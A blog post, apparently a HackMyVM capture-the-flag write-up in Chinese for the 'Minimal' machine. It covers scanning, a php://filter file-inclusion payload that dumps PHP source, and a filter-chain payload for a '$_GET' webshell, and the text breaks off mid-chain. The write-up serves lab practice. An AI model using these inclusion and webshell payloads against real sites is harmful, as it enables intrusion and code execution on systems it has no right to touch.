{"id":574,"date":"2024-04-16T21:57:51","date_gmt":"2024-04-16T13:57:51","guid":{"rendered":"http:\/\/162.14.82.114\/?p=574"},"modified":"2024-04-16T21:59:15","modified_gmt":"2024-04-16T13:59:15","slug":"hmv-_-minimal","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/574\/04\/16\/2024\/","title":{"rendered":"hmv[-_-]Minimal"},"content":{"rendered":"<h1>Minimal<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156635.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156635.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240416165203824\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156639.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156639.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404180309742\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u4fe1\u606f\u641c\u96c6<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">nmap -sCV -p 1-65535 172.20.10.6<\/code><\/pre>\n<pre><code class=\"language-css\">PORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 d2:73:06:e2:e4:84:54:8c:42:0f:4e:81:7c:78:b9:c2 (ECDSA)\n|_  256 75:a0:cf:35:61:a1:c8:77:cf:1a:cb:bc:6d:5b:49:75 (ED25519)\n80\/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))\n|_http-server-header: Apache\/2.4.52 (Ubuntu)\n| http-cookie-flags: \n|   \/: \n|     PHPSESSID: \n|_      httponly flag not set\n|_http-title: Minimal Shop\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n<pre><code>ffuf -u http:\/\/172.20.10.6\/FUZZ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt <\/code><\/pre>\n<pre><code class=\"language-css\">imgs                    [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 0ms]\nstyles                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 0ms]\nserver-status           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 3ms]<\/code><\/pre>\n<pre><code class=\"language-bash\">sudo dirsearch -u http:\/\/172.20.10.6\/ -e* -i 200,300-399 2&gt;\/dev\/null<\/code><\/pre>\n<pre><code class=\"language-bash\">[06:07:27] 302 -    0B  - \/admin.php  -&gt;  login.php\n[06:07:36] 200 -    0B  - \/config.php\n[06:07:44] 200 -  450B  - \/login.php\n[06:07:44] 302 -    0B  - \/logout.php  -&gt;  \/index.php\n[06:07:51] 200 -  427B  - \/register.php\n[06:07:51] 200 -   12B  - \/robots.txt\n[06:07:55] 301 -  311B  - \/styles  -&gt;  http:\/\/172.20.10.6\/styles\/<\/code><\/pre>\n<h2>\u6f0f\u6d1e\u6316\u6398<\/h2>\n<h3>\u8e29\u70b9<\/h3>\n<pre><code class=\"language-bash\">view-source:http:\/\/172.20.10.6\/robots.txt\ngood luck :)<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156640.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156640.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404180849025\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156641.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156641.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404180900291\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u6709\u4e00\u4e2a\u767b\u5f55\u9875\u9762\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156642.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156642.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404180930892\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u4e07\u80fd\u5bc6\u7801\uff0c\u5f31\u5bc6\u7801\uff0c\u4f46\u662f\u6ca1\u6210\u529f\uff0c\u5c1d\u8bd5\u5fd8\u8bb0\u5bc6\u7801\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156643.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156643.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404181058140\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156644.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156644.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404181134404\" style=\"zoom: 33%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156645.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156645.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404181354236\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<p>\u829c\u6e56\uff0c\u6362\u4e00\u4e2a\uff1a<\/p>\n<pre><code class=\"language-apl\">hack\nhack\nhack@hack.com<\/code><\/pre>\n<p>\u767b\u5f55\u4e0a\u53bb\u4ee5\u540e\uff0c\u6dfb\u52a0\u4e24\u4e2a\u8bd5\u8bd5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156646.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156646.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404181723846\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156647.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156647.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404181740869\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u70b9\u51fb\u8d2d\u4e70\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156648.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156648.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404181758883\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u778e\u586b\u4e00\u4e0b\uff0c\u4f46\u662f\u6e05\u7a7a\u4ee5\u540e\u6ca1\u4e8b\u53d1\u751f\uff0c\u6ce8\u610f\u5230\u6b64\u65f6\u7684\u7f51\u5740\u4e3a\uff1a<\/p>\n<pre><code class=\"language-bash\">http:\/\/172.20.10.6\/shop_cart.php?action=buy<\/code><\/pre>\n<p>\u5c1d\u8bd5\u4fee\u6539\u4e00\u4e0b\uff0c\u770b\u770b\u80fd\u4e0d\u80fd\u6267\u884c\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156650.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156650.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404182338946\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u6587\u4ef6\u5305\u542b\uff1a<\/p>\n<pre><code class=\"language-bash\">http:\/\/172.20.10.6\/shop_cart.php?action=php:\/\/filter\/read=convert.base64-encode\/resource=index<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156651.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156651.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404182837239\" style=\"zoom:67%;\" \/><\/div><\/p>\n<pre><code class=\"language-php\">&lt;?php\n\nrequire_once &quot;.\/config.php&quot;;\n\nsession_start();\n\n\/\/ Get products\n$query = $conn-&gt;prepare(&quot;SELECT * FROM products&quot;);\n$query-&gt;execute();\n$products = $query-&gt;get_result();\n\n$logged = false;\n\nif (isset($_SESSION[&#039;loggedin&#039;]) &amp;&amp; $_SESSION[&#039;loggedin&#039;] === true) {\n    $logged = true;\n}\n\nif ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) {\n    if(isset($_POST[&quot;product_id&quot;])){\n        $_SESSION[&#039;cart&#039;][] = $_POST[&quot;product_id&quot;];\n    }\n}\n?&gt;\n\n&lt;html lang=&quot;es&quot;&gt;\n\n&lt;head&gt;\n    &lt;meta charset=&quot;UTF-8&quot;&gt;\n    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;\n    &lt;link rel=&quot;stylesheet&quot; href=&quot;.\/styles\/main.css&quot;&gt;\n    &lt;title&gt;Minimal Shop&lt;\/title&gt;\n&lt;\/head&gt;\n\n&lt;body&gt;\n    &lt;header&gt;\n        &lt;div class=&quot;logo&quot;&gt;\n            &lt;a href=&quot;.\/index.php&quot;&gt;\n                &lt;h1&gt;Minimal&lt;\/h1&gt;\n            &lt;\/a&gt;\n        &lt;\/div&gt;\n        &lt;\/div&gt;\n        &lt;div class=&quot;boton-iniciar-sesion&quot;&gt;\n            &lt;?php\n            if ($logged) {\n                echo &#039;&lt;a href=&quot;shop_cart.php&quot;&gt;My cart&lt;\/a&gt;&#039;;\n                echo &#039;&lt;a href=&quot;logout.php&quot;&gt;Sign out&lt;\/a&gt;&#039;;\n            } else {\n                echo &#039;&lt;a href=&quot;login.php&quot;&gt;Log In&lt;\/a&gt;&#039;;\n            }\n            ?&gt;\n        &lt;\/div&gt;\n    &lt;\/header&gt;\n\n    &lt;main&gt;\n        &lt;?php\n        while ($fila = mysqli_fetch_assoc($products)) {\n            $id = $fila[&#039;id&#039;];\n            $name = $fila[&#039;name&#039;];\n            $price = $fila[&#039;price&#039;];\n            $description = $fila[&#039;description&#039;];\n            $author = $fila[&#039;author&#039;];\n\n            echo &#039;&lt;form action=&quot;index.php&quot; method=&quot;post&quot;&gt;\n                &lt;div class=&quot;contenedor-producto&quot;&gt;\n                    &lt;div class=&quot;imagen-producto&quot;&gt;\n                        &lt;img src=&quot;.\/imgs\/&#039; . $name . &#039;.png&quot; alt=&quot;Producto &#039;.$id.&#039;&quot;&gt;\n                    &lt;\/div&gt;\n                    &lt;div class=&quot;informacion-producto&quot;&gt;\n                        &lt;h2&gt;&#039; . $name . &#039;&lt;\/h2&gt;\n                        &lt;div class=&quot;descripcion&quot;&gt;\n                            &lt;p&gt;Designer: &#039; . $author . &#039;&lt;\/p&gt;\n                            &lt;p&gt;&#039; . $description . &#039;&lt;\/p&gt;\n                            &lt;p&gt;Price: $&#039; . $price . &#039;&lt;\/p&gt;\n                        &lt;\/div&gt;&#039;;\n            if ($logged) {\n                if (in_array($id, $_SESSION[&#039;cart&#039;])) {\n                echo &#039;&lt;p class=&quot;buy logtobuy&quot;&gt;Added to cart&lt;\/p&gt;&#039;;\n                }\n                echo &#039;&lt;button class=&quot;buy button&quot; type=&quot;submit&quot; value=&quot;&#039;. $id .&#039;&quot; name=&quot;product_id&quot; &gt;Buy&lt;\/button&gt;&#039;;\n            } else {\n                echo &#039;&lt;p class=&quot;buy logtobuy&quot;&gt;Log In to buy&lt;\/p&gt;&#039;;\n            }\n            echo &#039;\n                    &lt;\/div&gt;\n                &lt;\/div&gt;\n                &lt;\/form&gt;\n            &#039;;\n        };\n        ?&gt;\n    &lt;\/main&gt;\n&lt;\/body&gt;\n\n&lt;\/html&gt;<\/code><\/pre>\n<pre><code class=\"language-bash\">http:\/\/172.20.10.6\/shop_cart.php?action=php:\/\/filter\/read=convert.base64-encode\/resource=admin<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156652.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404162156652.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240404182658449\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u89e3\u7801\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\nrequire_once &quot;.\/config.php&quot;;\n\nsession_start();\n\nif ($_SESSION[&#039;username&#039;] !== &#039;admin&#039;) {\n    header(&#039;Location: login.php&#039;);\n    exit;\n}\n\n$logged = false;\n\nif (isset($_SESSION[&#039;loggedin&#039;]) &amp;&amp; $_SESSION[&#039;loggedin&#039;] === true) {\n    $logged = true;\n}\n\nif ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) {\n    $nombre = $_POST[&#039;nombre&#039;];\n    $autor = $_POST[&#039;autor&#039;];\n    $precio = $_POST[&#039;precio&#039;];\n    $descripcion = $_POST[&#039;descripcion&#039;];\n\n    if (isset($_FILES[&#039;imagen&#039;])) {\n        $imagen = $_FILES[&#039;imagen&#039;];\n        if ($imagen[&#039;error&#039;] === UPLOAD_ERR_OK) {\n            $ruta_destino = &#039;.\/imgs\/&#039; . basename($imagen[&#039;name&#039;]);\n\n            if (move_uploaded_file($imagen[&#039;tmp_name&#039;], $ruta_destino)) {\n                $query = $conn-&gt;prepare(&quot;INSERT INTO products (name, author, price, description) VALUES (?, ?, ?, ?)&quot;);\n                $query-&gt;bind_param(&quot;ssds&quot;, $nombre, $autor, $precio, $descripcion);\n                \/\/ Ejecutar la consulta\n                if ($query-&gt;execute()) {\n                echo &quot;Uploaded&quot;;\n                } else {\n                    echo &quot;Error&quot;;\n                }\n            } else {\n                \/\/&quot;Error al subir la imagen.&quot;;\n                echo &quot;Error&quot;;\n            }\n        } else {\n            echo &quot;Error: &quot; . $imagen[&#039;error&#039;];\n        }\n    }\n}\n\n?&gt;\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n\n&lt;head&gt;\n    &lt;meta charset=&quot;UTF-8&quot;&gt;\n    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;\n    &lt;link rel=&quot;stylesheet&quot; href=&quot;.\/styles\/main.css&quot;&gt;\n    &lt;link rel=&quot;stylesheet&quot; href=&quot;.\/styles\/admin.css&quot;&gt;\n    &lt;title&gt;Minimal Shop&lt;\/title&gt;\n&lt;\/head&gt;\n\n&lt;body&gt;\n    &lt;header&gt;\n        &lt;div class=&quot;logo&quot;&gt;\n            &lt;a href=&quot;.\/index.php&quot;&gt;\n                &lt;h1&gt;Minimal&lt;\/h1&gt;\n            &lt;\/a&gt;\n        &lt;\/div&gt;\n        &lt;\/div&gt;\n        &lt;div class=&quot;boton-iniciar-sesion&quot;&gt;\n            &lt;?php\n            if ($logged) {\n                echo &#039;&lt;a href=&quot;logout.php&quot;&gt;Cerrar Sesi\u00f3n&lt;\/a&gt;&#039;;\n                echo &#039;&lt;a href=&quot;shop_cart.php&quot;&gt;Mi Carrito&lt;\/a&gt;&#039;;\n            } else {\n                echo &#039;&lt;a href=&quot;login.php&quot;&gt;Iniciar Sesi\u00f3n&lt;\/a&gt;&#039;;\n            }\n            ?&gt;\n        &lt;\/div&gt;\n    &lt;\/header&gt;\n    &lt;h1&gt;Admin Panel&lt;\/h1&gt;\n    &lt;div class=&quot;container&quot;&gt;\n        &lt;h1&gt;Add new Product&lt;\/h1&gt;\n        &lt;form action=&quot;admin.php&quot; method=&quot;post&quot; enctype=&quot;multipart\/form-data&quot;&gt;\n            &lt;label for=&quot;nombre&quot;&gt;Name:&lt;\/label&gt;\n            &lt;input type=&quot;text&quot; name=&quot;nombre&quot; id=&quot;nombre&quot; required&gt;\n\n            &lt;label for=&quot;autor&quot;&gt;Author:&lt;\/label&gt;\n            &lt;input type=&quot;text&quot; name=&quot;autor&quot; id=&quot;autor&quot; required&gt;\n\n            &lt;label for=&quot;precio&quot;&gt;Price:&lt;\/label&gt;\n            &lt;input type=&quot;number&quot; name=&quot;precio&quot; id=&quot;precio&quot; required&gt;\n\n            &lt;label for=&quot;descripcion&quot;&gt;Description:&lt;\/label&gt;\n            &lt;textarea name=&quot;descripcion&quot; id=&quot;descripcion&quot; required&gt;&lt;\/textarea&gt;\n\n            &lt;label for=&quot;imagen&quot;&gt;Img:&lt;\/label&gt;\n            &lt;input type=&quot;file&quot; name=&quot;imagen&quot; id=&quot;imagen&quot; accept=&quot;image\/*&quot; required&gt;\n\n            &lt;input type=&quot;submit&quot; value=&quot;Upload&quot;&gt;\n        &lt;\/form&gt;\n    &lt;\/div&gt;\n\n&lt;\/body&gt;\n\n&lt;\/html&gt;<\/code><\/pre>\n<h3>\u65b9\u6cd5\u4e00\uff1aphp_filter_chain_generator<\/h3>\n<pre><code class=\"language-bash\">python php_filter_chain_generator.py --chain &#039;&lt;?=`$_GET[0]` ?&gt;&#039;<\/code><\/pre>\n<pre><code class=\"language-text\">php:\/\/filter\/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4